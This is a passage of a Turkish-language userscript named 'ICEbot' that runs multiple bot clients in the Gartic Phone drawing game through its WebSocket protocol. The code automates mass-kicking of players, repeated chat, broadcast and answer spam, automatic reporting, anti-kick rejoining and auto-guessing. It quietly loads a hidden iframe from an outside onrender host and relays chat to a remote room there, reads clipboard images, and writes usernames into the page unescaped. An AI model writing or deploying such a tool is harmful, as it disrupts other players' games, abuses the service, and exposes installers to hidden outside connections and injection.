  790. }, intervaloEnvio);
  791. }
  792. async function pixelEx() {
  793. try {
  794. const items = await navigator.clipboard.read();
  795. const item = items[items.length - 1];
  796. if (item.types.includes("image/png") || item.types.includes("image/jpeg")) {
  797. const blob = await item.getType("image/png" || "image/jpeg");
  798. await createImageBitmap(blob);
  799. }
  800. } catch (e) {
  801. console.log("Pano okuma hatası:", e);
  802. }
  803. }
  804. pixelEx();
  805. });
  806. GM_addValueChangeListener("acceptdraw1", function(I, C, E, b) {
  807. ws.send('42[34,' + objlist[2] + ']');
  808. });
  809. GM_addValueChangeListener("acceptdraw2", function(I, C, E, b) {
  810. ws.send('42[34,' + objlist[2] + ',1]');
  811. });
  812. GM_addValueChangeListener("tips", function(I, C, E, b) {
  813. ws.send('42[30,' + objlist[2] + ',1]');
  814. });
  815. GM_addValueChangeListener("exit", function(I, C, E, b) {
  816. ws.send('42[24,' + objlist[2] + ']');
  817. wss.length = 0;
  818. usersinroom.length = 0;
  819. });
  820. GM_addValueChangeListener("kick", function(I, C, E, b) {
  821. if (!botsidvalue.includes(E.split("..")[0])) {
  822. ws.send('42[45,' + objlist[2] + ',["' + E.split("..")[0] + '",true]]');
  823. }
  824. });
  825. JSON.stringify(wss).indexOf(objlist[2]) == -1 ? wss.push({ "ws": ws, "id": objlist[2], "lengthID": objlist[1] }) : 0;
  826. let interval = setInterval(() => {
  827. ws.readyState == 1 ? ws.send('2') : clearInterval(interval);
  828. }, 20000);
  829. }
  830. if (antiafk === true) {
  831. intervalantiafk = setInterval(() => {
  832. ws.send('42[42,' + ws.id + ']');
  833. }, 20000);
  834. } else if (antiafk === false) {
  835. clearInterval(intervalantiafk);
  836. intervalantiafk = null;
  837. }
  838. if (msg.data.indexOf('42["47"]') != -1 && autoguess == 1) {
  839. let inter = parseInt(localStorage.getItem("autoguess")) || 1000;
  840. function wordsArray(arr) {
  841. let index = 0;
  842. if (wordsInterval) {
  843. clearInterval(wordsInterval);
  844. }
  845. wordsInterval = setInterval(() => {
  846. if (index < arr.length) {
  847. ws.send('42[13,' + ws.id + ',"' + arr[index] + '"]');
  848. index++;
  849. } else {
  850. clearInterval(wordsInterval);
  851. }
  852. }, inter);
  853. }
  854. // Kelime listesi gerekirse buraya eklenebilir
  855. }
  856. if (msg.data.indexOf('42["16"') != -1 && autoskip === true) {
  857. setTimeout(() => {
  858. ws.send('42[25,' + ws.id + ']');
  859. }, 1000);
  860. }
  861. if (msg.data.indexOf('42["47"]') != -1 && autoreport === true) {
  862. ws.send('42[35,' + ws.id + ']');
  863. }
  864. if (msg.data.indexOf('42["34"') != -1) {
  865. let objlist = JSON.parse('["34"' + msg.data.split('42["34"')[1]);
  866. var cdd = objlist[1];
  867. GM_sendMessage('answerinput', cdd, rand());
  868. if (autofarm === true) {
  869. setTimeout(() => {
  870. GM_setValue("answer", cdd + "►" + num(5000));
  871. }, 200);
  872. }
  873. }
  874. if (msg.data.indexOf('42["26"') != -1 && autoguess == 1) {
  875. let objlist = JSON.parse('["26"' + msg.data.split('42["26"')[1]);
  876. let correct = objlist[1];
  877. GM_setValue("answer", correct + "►" + num(5000));
  878. }
  879. if (msg.data.indexOf('42["16"') != -1 && autofarm === true) {
  880. ws.send('42[34,' + ws.id + ']');
  881. }
  882. if (msg.data.indexOf('42["45"') != -1 && (msg.data.indexOf('"' + botlongID + '",1') != -1 || msg.data.indexOf('' + botlongID + ',1') != -1) && antikickDelay === 0 && antikick === true) {
  883. ws.send('42[24,' + ws.id + ']');
  884. antikickDelay = 1;
  885. window.postMessage('rejoin', '*');
  886. }
  887. if (msg.data.indexOf('42["45"') != -1 && (msg.data.indexOf('"' + botlongID + '",1') != -1 || msg.data.indexOf('' + botlongID + ',1') != -1) && autokick === true) {
  888. let msgautokick = msg.data.split(',');
  889. let autokickid = msgautokick[1].replace(/"/g, '');
  890. GM_setValue("kick", autokickid + ".." + num(10000));
  891. }
  892. };
  893. }).catch(error => {
  894. console.error('Fetch error:', error);
  895. Swal.fire({
  896. toast: true,
  897. position: 'top-end',
  898. icon: 'error',
  899. title: 'Sunucu bağlantı hatası!',
  900. showConfirmButton: false,
  901. timer: 3000
  902. });
  903. });
  904. GM_addValueChangeListener("join", function(I, C, E, b) { tojoin = 1; });
  905. GM_addValueChangeListener("kicknewset", function(I, C, E, b) { kicknewstat = E; });
  906. GM_addValueChangeListener("kickjoinset", function(I, C, E, b) { kickjoinstat = E; });
  907. GM_addValueChangeListener("autoreport", function(I, C, E, b) { autoreport = E; });
  908. GM_addValueChangeListener("autoskip", function(I, C, E, b) { autoskip = E; });
  909. GM_addValueChangeListener("antikick", function(I, C, E, b) { antikick = E; });
  910. GM_addValueChangeListener("autokick", function(I, C, E, b) { autokick = E; });
  911. GM_addValueChangeListener("antiafk", function(I, C, E, b) { antiafk = E; });
  912. GM_addValueChangeListener("autoguess", function(I, C, E, b) { autoguess = E; });
  913. GM_addValueChangeListener("autofarm", function(I, C, E, b) { autofarm = E; });
  914. window.addEventListener("beforeunload", () => {
  915. GM_setValue("botçıkar", window.location.href.split("/")[2] + "--" + rand());
  916. });
  917. });
  918.  
  919. GM_onMessage("rejoin", (_, __) => {
  920. handleJoin();
  921. });
  922.  
  923. function initializePanel() {
  924. if (!f(".userlist")) {
  925. console.log('Injecting panel HTML...');
  926. document.body.insertAdjacentHTML('beforeend', html);
  927. setCSS();
  928.  
  929. // Menü butonları için olay dinleyicileri
  930. const menus = {
  931. 'menu1': 'icebot1',
  932. 'menu2': 'icebot2',
  933. 'menu3': 'icebot3',
  934. 'menu4': 'icebot4',
  935. 'menu5': 'icebot5',
  936. 'menu6': 'icebot6'
  937. };
  938. Object.keys(menus).forEach(menu => {
  939. const btn = f(`.menu${menu.slice(-1)}`);
  940. if (btn) {
  941. btn.addEventListener('click', () => setmenu(menus[menu]));
  942. }
  943. });
  944.  
  945. // Katıl butonuna olay dinleyicisi
  946. const joinButton = f('#icebot1 input[type="submit"]');
  947. if (joinButton) {
  948. joinButton.addEventListener('click', () => {
  949. console.log('Join button clicked!');
  950. handleJoin();
  951. });
  952. }
  953. }
  954. }
  955.  
  956. setInterval(() => {
  957. if (f("#users")) {
  958. fa(".kickmenubtn").forEach(ele => {
  959. f(".scrollElements").innerText.indexOf(ele.value) == -1 ? ele.remove() : 0;
  960. });
  961. f("g") ? f("g").remove() : 0;
  962. }
  963. if (f("input[name=chat]")) {
  964. f(".contentPopup") && f(".btYellowBig.ic-yes") ? f(".btYellowBig.ic-yes").click() : 0;
  965. if (f(".contentPopup .nick") && f(".ic-votekick") && otoeven == 0) {
  966. otoeven = 1;
  967. f(".close").addEventListener("click", () => { otoeven = 0; });
  968. f(".ic-ignore").addEventListener("click", () => { otoeven = 0; });
  969. f(".ic-votekick").addEventListener("click", () => {
  970. otoeven = 0;
  971. GM_setValue("kick", f(".contentPopup .nick").innerText + ".." + num(10000));
  972. });
  973. }
  974. }
  975. f("input[name=chat]") ? f("input[name=chat]").setAttribute("placeholder", +botc + " bot aktif") : 0;
  976. f(".taktifbot") ? f(".taktifbot").innerText = botc : 0;
  977. initializePanel();
  978. ['autoreport', 'autoskip', 'antikick', 'autokick', 'antiafk', 'autofarm', 'autoguess'].forEach(id => {
  979. const el = f(`#${id}`);
  980. if (el && !el.hasListener) {
  981. el.addEventListener('click', () => {
  982. GM_setValue(id, el.checked);
  983. });
  984. el.hasListener = true;
  985. }
  986. });
  987. }, 100);
  988.  
  989. GM_addValueChangeListener("botekle", function(I, C, E, b) {
  990. botc++;
  991. f(".taktifbot") ? f(".taktifbot").innerText = botc : 0;
  992. f("#icebotlog").innerText = `Durum: ${botc} bot aktif`;
  993. });
  994.  
  995. GM_addValueChangeListener("ready", function(I, C, E, b) {
  996. readyc++;
  997. readyc >= botc && botc != 0 ? GM_setValue("join", rand()) : 0;
  998. });
  999.  
  1000. GM_addValueChangeListener("botexit", function(I, C, E, b) {
  1001. botc--;
  1002. f(".taktifbot") ? f(".taktifbot").innerText = botc : 0;
  1003. f("#icebotlog").innerText = `Durum: ${botc} bot aktif`;
  1004. });
  1005.  
  1006. let customkick = localStorage.getItem("customkick");
  1007. if (!customkick) {
  1008. localStorage.setItem("customkick", "[]");
  1009. }
  1010. if (customkick) {
  1011. let list = [];
  1012. try {
  1013. list = JSON.parse(customkick);
  1014. } catch (e) {
  1015. console.error('customkick parse hatası:', e);
  1016. }
  1017. list.forEach(user => {
  1018. setTimeout(() => {
  1019. const container = f("#kicklist-items");
  1020. if (!container) return;
  1021. const item = document.createElement('div');
  1022. item.className = 'player-item';
  1023. item.innerHTML = `
  1024. <span class="player-name">${user.user}</span>
  1025. <button class="kick-btn" id="customkickuser.${user.user}">Kaldır</button>
  1026. `;
  1027. container.appendChild(item);
  1028. item.querySelector(`#customkickuser\\.${user.user}`).addEventListener('click', () => {
  1029. window.postMessage(`customkickremove.${user.user}`, '*');
  1030. });
  1031. addItem(customkickitems, user.user);
  1032. }, 3000);
  1033. });
  1034. }
  1035.  
  1036. let msgjoin = localStorage.getItem("messagejoin");
  1037. if (!msgjoin) {
  1038. localStorage.setItem("messagejoin", "[]");
  1039. }
  1040. if (msgjoin) {
  1041. let list = [];
  1042. try {
  1043. list = JSON.parse(msgjoin);
  1044. } catch (e) {
  1045. console.error('messagejoin parse hatası:', e);
  1046. }
  1047. list.forEach(item => {
  1048. setTimeout(() => {
  1049. const container = f("#joinmessage-items");
  1050. if (!container) return;
  1051. const item = document.createElement('div');
  1052. item.className = 'player-item';
  1053. item.innerHTML = `
  1054. <span class="player-name">${item.msg}</span>
  1055. <button class="kick-btn" id="msgjoin.${item.msg}">Kaldır</button>
  1056. `;
  1057. container.appendChild(item);
  1058. item.querySelector(`#msgjoin\\.${item.msg}`).addEventListener('click', () => {
  1059. window.postMessage(`messagejoinremove.${item.msg}`, '*');
  1060. });
  1061. addItem(messagejoinitems, item.msg);
  1062. }, 3000);
  1063. });
  1064. }
  1065.  
  1066. let avataritem = localStorage.getItem("avatar");
  1067. if (!avataritem) {
  1068. localStorage.setItem("avatar", 1);
  1069. avatar = 1;
  1070. }
  1071. if (avataritem == 'null') {
  1072. setTimeout(() => {
  1073. f("#avatar").src = "https://garticphone.com/images/avatar/31.svg";
  1074. }, 1000);
  1075. }
  1076.  
  1077. let botnickitem = localStorage.getItem("botnick");
  1078. if (!botnickitem) {
  1079. localStorage.setItem("botnick", "0");
  1080. }
  1081.  
  1082. let nickitem = localStorage.getItem("nick");
  1083. if (!nickitem) {
  1084. localStorage.setItem("nick", "ICEbot");
  1085. }
  1086. }
  1087.  
  1088. if (window.location.href.indexOf("onrender") != -1) {
  1089. let originalSend = WebSocket.prototype.send, setTrue = false;
  1090. window.wsObj = {};
  1091. WebSocket.prototype.send = function(data) {
  1092. originalSend.apply(this, arguments);
  1093. if (Object.keys(window.wsObj).length == 0) {
  1094. window.wsObj = this;
  1095. window.eventAdd();
  1096. }
  1097. };
  1098. window.eventAdd = () => {
  1099. if (!setTrue) {
  1100. setTrue = 1;
  1101. setTimeout(() => {
  1102. window.wsObj.send('42["joinRoom",{"username":"User' + Math.ceil(Math.random() * 100000 + 1) + '","room":"ICEv0009"}]');
  1103. }, 3000);
  1104. window.wsObj.addEventListener("message", (msg) => {
  1105. let vx = JSON.parse('[' + msg.data.split('42[')[1]);
  1106. if (msg.data.indexOf('42["chatMessage"') !== -1 && vx[1].type !== 'bot') {
  1107. GM_sendMessage("msge", vx[1].user, vx[1].chatMessage, num(5000));
  1108. }
  1109. });
  1110. }
  1111. };
  1112. GM_onMessage("msgf", (n, m, _) => {
  1113. let a = new Date();
  1114. let d = a.toISOString();
  1115. window.wsObj.send('42["chatMessage",{"user":"' + n + '","time":"' + d + '","type":"text","chatMessage":"' + m + '"}]');
  1116. });
  1117. }
  1118.  
  1119. window.addEventListener("message", function(event) {
  1120. if (typeof(event.data) === "string") {
  1121. if (event.data == "chat") {
  1122. GM_setValue("msg", f("#message").value + "►" + num(5000));
  1123. GM_sendMessage('cmd', 'msg', f("#message").value, num(5000));
  1124. }
  1125. if (event.data.indexOf("kickuser.") != -1) {
  1126. let userid = event.data.split("kickuser.")[1];
  1127. GM_setValue("kick", userid + ".." + num(10000));
  1128. GM_sendMessage("cmd", 'kick', userid + ".." + num(10000));
  1129. }
  1130. if (event.data.indexOf("kickusernick.") != -1) {
  1131. let usernick = event.data.split("kickusernick.")[1];
  1132. console.log('Kicking user by nick:', usernick);
  1133. let c = fnFILTER(usersinroom);
  1134. console.log('Filtered usersinroom:', c);
  1135. c.forEach(x => {
  1136. if (x.nick && x.nick === usernick && x.nick !== localStorage.getItem("nick")) {
  1137. let userid = x.id;
  1138. console.log(`Found matching user: ${x.nick}, ID: ${userid}`);
  1139. if (!botsidvalue.includes(userid)) {
  1140. GM_setValue("kick", userid + ".." + num(5000));
  1141. GM_sendMessage("cmd", 'kick', userid + ".." + num(10000));
  1142. Swal.fire({
  1143. toast: true,
  1144. position: 'top-end',
  1145. icon: 'success',
  1146. title: `${usernick} için kick komutu gönderildi!`,
  1147. showConfirmButton: false,
  1148. timer: 2000
  1149. });
  1150. } else {
  1151. console.log(`User ${x.nick} is a bot, skipping kick.`);
  1152. }
  1153. } else if (!x.nick) {
  1154. console.warn(`User object missing nick property:`, x);
  1155. }
  1156. });
  1157. }
  1158. if (event.data == "broadcast") {
  1159. GM_setValue("broadcast", f("#broadcast").value + "►" + num(5000));
  1160. GM_sendMessage('cmd', 'broadcast', f("#broadcast").value, num(5000));
  1161. }
  1162. if (event.data == "answer") {
  1163. GM_setValue("answer", f("#answer").value + "►" + num(5000));
  1164. GM_sendMessage('cmd', 'answer', f("#answer").value, num(5000));
  1165. }
  1166. if (event.data == "report") {
  1167. GM_setValue('report', num(5000));
  1168. GM_sendMessage('cmd', 'report', 'x', num(5000));
  1169. }
  1170. if (event.data == "jump") {
  1171. GM_setValue('jump', num(5000));
  1172. }
  1173. if (event.data == "reconnect") {
  1174. GM_sendMessage('reconnect', rand(), rand());
  1175. }
  1176. if (event.data == "acceptdraw1") {
  1177. GM_setValue('acceptdraw1', num(5000));
  1178. GM_sendMessage('cmd', 'accept1', 'x', num(5000));
  1179. }
  1180. if (event.data == "acceptdraw2") {
  1181. GM_setValue('acceptdraw2', num(5000));
  1182. GM_sendMessage('cmd', 'accept2', 'x', num(5000));
  1183. }
  1184. if (event.data == "tips") {
  1185. GM_setValue('tips', num(5000));
  1186. GM_sendMessage('cmd', 'tips', 'x', num(5000));
  1187. }
  1188. if (event.data == "exit") {
  1189. GM_setValue('exit', num(5000));
  1190. GM_sendMessage('cmd', 'exit', 'x', num(5000));
  1191. }
  1192. if (event.data == "rejoin") {
  1193. GM_setValue('exit', num(5000));
  1194. let msgstorage = localStorage.getItem("messagejoin");
  1195. if (msgstorage) {
  1196. let vm = JSON.parse(msgstorage);
  1197. setTimeout(() => {
  1198. vm.forEach(item => {
  1199. GM_setValue("msg", item.msg + "►" + num(5000));
  1200. });
  1201. }, 4000);
  1202. }
  1203. GM_sendMessage("join", f("#roomlink").value.split("/")[3], f("#botnick")?.value || nick, avatar, localStorage.getItem("botnick"), f(".kickonjoin")?.checked || false, JSON.parse(localStorage.getItem("messagejoin") || "[]"), rand());
  1204. }
  1205. if (event.data == "kickall") {
  1206. var elements = document.getElementsByClassName("kickmenubtn");
  1207. var elementsvalue = [];
  1208. for (var i = 0; i < elements.length; i++) {
  1209. elementsvalue.push(elements[i].getAttribute("onclick"));
  1210. }
  1211. elementsvalue.forEach(function(value, index) {
  1212. setTimeout(function() {
  1213. let userid = value.split("kickuser.")[1].split("','*")[0];
  1214. GM_setValue("kick", userid + ".." + num(10000));
  1215. GM_sendMessage("cmd", 'kick', userid + ".." + num(10000));
  1216. }, 550 * index);
  1217. });
  1218. }
  1219. if (event.data == "broadcastspamtoggle") {
  1220. let broadcastspamMS = parseInt(localStorage.getItem("broadcastspam")) || 1000;
  1221. var broadcastspam = f("#broadcastspam").value;
  1222. intervalbroadcast = setInterval(() => {
  1223. GM_setValue("broadcast", broadcastspam + "►" + num(5000));
  1224. }, broadcastspamMS);
  1225. f("#broadcaststart").style.display = "none";
  1226. f("#broadcaststop").style.display = "block";
  1227. }
  1228. if (event.data == "chatspamtoggle") {
  1229. let messagespamMS = parseInt(localStorage.getItem("messagespam")) || 1000;
  1230. var messagespam = f("#messagespam").value;
  1231. intervalmsg = setInterval(() => {
  1232. var chatspam = f("#messagespam").value;
  1233. GM_setValue("msg", chatspam + "►" + num(5000));
  1234. }, messagespamMS);
  1235. f("#msgstart").style.display = "none";
  1236. f("#msgstop").style.display = "block";
  1237. }
  1238. if (event.data == "answerspamtoggle") {
  1239. let answerspamMS = parseInt(localStorage.getItem("answerspam")) || 1000;
  1240. var answerspam = f("#answerspam").value;
  1241. intervalanswer = setInterval(() => {
  1242. var answerspam = f("#answerspam").value;
  1243. GM_setValue("answer", answerspam + "►" + num(5000));
  1244. }, answerspamMS);
  1245. f("#answerstart").style.display = "none";
  1246. f("#answerstop").style.display = "block";
  1247. }
  1248. if (event.data == "stopbroadcast") {
  1249. clearInterval(intervalbroadcast);
  1250. f("#broadcaststart").style.display = "block";
  1251. f("#broadcaststop").style.display = "none";
  1252. }
  1253. if (event.data == "stopmsg") {
  1254. clearInterval(intervalmsg);
  1255. f("#msgstart").style.display = "block";
  1256. f("#msgstop").style.display = "none";
  1257. }
  1258. if (event.data == "stopanswer") {
  1259. clearInterval(intervalanswer);
  1260. f("#answerstart").style.display = "block";
  1261. f("#answerstop").style.display = "none";
  1262. }
  1263. if (event.data == "autoguess") {
  1264. if (f("#autoguess").checked) {
  1265. GM_setValue("autoguess", 1);
  1266. } else {
  1267. GM_setValue("autoguess", 0);
  1268. clearInterval(wordsInterval);
  1269. }
  1270. }
  1271. if (event.data == "autoguessenable") {
  1272. f("#autoguessenable").style.display = "none";
  1273. f("#autoguessdisable").style.display = "block";
  1274. GM_setValue("autoguess", 1);
  1275. }
  1276. if (event.data == "autoguessdisable") {
  1277. f("#autoguessenable").style.display = "block";
  1278. f("#autoguessdisable").style.display = "none";
  1279. GM_setValue("autoguess", 0);
  1280. clearInterval(wordsInterval);
  1281. }
  1282. if (event.data.indexOf("customkickremove.") != -1) {
  1283. let user = event.data.split("customkickremove.")[1];
  1284. let list = JSON.parse(localStorage.getItem('customkick') || "[]");
  1285. list = list.filter(item => item.user !== user);
  1286. localStorage.setItem('customkick', JSON.stringify(list));
  1287. const item = f(`#customkickuser\\.${user}`)?.parentElement;
  1288. if (item) item.remove();
  1289. customkickitems = customkickitems.filter(item => item !== user);
  1290. Swal.fire({
  1291. toast: true,
  1292. position: 'top-end',
  1293. icon: 'success',
  1294. title: `${user} kaldırıldı!`,
  1295. showConfirmButton: false,
  1296. timer: 2000
  1297. });
  1298. }
  1299. if (event.data.indexOf("messagejoinremove.") != -1) {
  1300. let msg = event.data.split("messagejoinremove.")[1];
  1301. let list = JSON.parse(localStorage.getItem('messagejoin') || "[]");
  1302. list = list.filter(item => item.msg !== msg);
  1303. localStorage.setItem('messagejoin', JSON.stringify(list));
  1304. const item = f(`#msgjoin\\.${msg}`)?.parentElement;
  1305. if (item) item.remove();
  1306. messagejoinitems = messagejoinitems.filter(item => item !== msg);
  1307. Swal.fire({
  1308. toast: true,
  1309. position: 'top-end',
  1310. icon: 'success',
  1311. title: 'Mesaj kaldırıldı!',
  1312. showConfirmButton: false,
  1313. timer: 2000
  1314. });
  1315. }
  1316. if (event.data == "hidemenu") {
  1317. const elements = ['icebot1', 'icebot2', 'icebot3', 'icebot4', 'icebot5', 'icebot6', 'avatarlist'];
  1318. elements.forEach(element => {
  1319. const el = document.getElementById(element);
  1320. if (el) el.style.display = 'none';
  1321. });
  1322. }
  1323. if (event.data == "theme") {
  1324. const colors = [
  1325. f("#color1").value,
  1326. f("#color2").value,
  1327. f("#color3").value,
  1328. f("#color4").value
  1329. ];
  1330. GM_addStyle(`
  1331. .icebot { background: ${colors[0]}; }
  1332. .icebot input[type="text"], .icebot input[type="color"] { border-color: ${colors[1]}; }
  1333. .icebot input[type="submit"] { background: ${colors[2]}; }
  1334. .player-item { background: ${colors[3]}; }
  1335. `);
  1336. }
  1337. }
  1338. });
  1339.  
  1340. function xmv() {
  1341. const userAgent = navigator.userAgent.toLowerCase();
  1342. const dM = ['android', 'webos', 'iphone', 'ipad', 'ipod', 'blackberry', 'windows phone'];
  1343. for (let d of dM) {
  1344. if (userAgent.includes(d)) {
  1345. let ice = fa(".icebot, .userlist, .option");
  1346. ice.forEach(panel => {
  1347. panel.style.width = "90%";
  1348. panel.style.left = "5%";
  1349. panel.style.right = "5%";
  1350. panel.style.top = "auto";
  1351. panel.style.position = "relative";
  1352. panel.style.margin = "10px auto";
  1353. });
  1354. }
  1355. }
  1356. }
  1357. setTimeout(() => { xmv(); }, 200);
  1358.  
  1359. localStorage.getItem("botc") ? 0 : localStorage.setItem("botc", 0);
  1360. GM_setValue("resetcount", rand());
  1361.  
  1362. setTimeout(() => {
  1363. var iframe = document.createElement("iframe");
  1364. iframe.src = "https://anomly.onrender.com/home";
  1365. iframe.width = "30";
  1366. iframe.height = "30";
  1367. iframe.style.display = "none";
  1368. document.body.appendChild(iframe);
  1369. }, 2000);
  1370.  
  1371. setTimeout(() => {
  1372. localStorage.setItem('TOKEN', btoa(Date.now()));
  1373. }, 500);
  1374.  
  1375. GM_onMessage("msge", (u, m, _) => {
  1376. const log = f("#icebotlog .icebotlog");
  1377. if (log) log.innerHTML += `<div class="player-item"><span class="player-name">${u}: ${m}</span></div>`;
  1378. });
  1379. })();